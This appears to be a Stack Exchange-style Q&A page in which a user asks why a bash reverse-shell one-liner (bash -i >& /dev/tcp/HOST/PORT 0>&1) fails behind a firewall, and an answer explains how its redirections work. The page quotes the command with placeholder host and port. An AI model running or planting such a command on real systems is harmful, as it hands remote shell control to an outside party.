I tried this
bash -i >& /dev/tcp/HOST/PORT 0>&1, but it does not seem to work behind firewall. What does this code actually do, which ports are forwarded and could it work behind fiewall?
This snippet runs a new interactive instance of bash (
bash -i), on a TCP connection to the specified port on the specified host which is created for the duration of the bash process. Standard output and standard error are sent through this connection (
>& /dev/tcp/HOST/PORT), and standard input is read through this connection (
0>&1 — this should be
0>&1 works too).
There is no port forwarding going on. Obviously, a TCP server of some kind has to be listening and accepting connections on that HOST:PORT, and the firewall has to let the connection through.
protected by Community♦ Aug 3 '18 at 1:27
Thank you for your interest in this question.
Because it has attracted low-quality or spam answers that had to be removed, posting an answer now requires 10 reputation on this site (the association bonus does not count).
Would you like to answer one of these unanswered questions instead?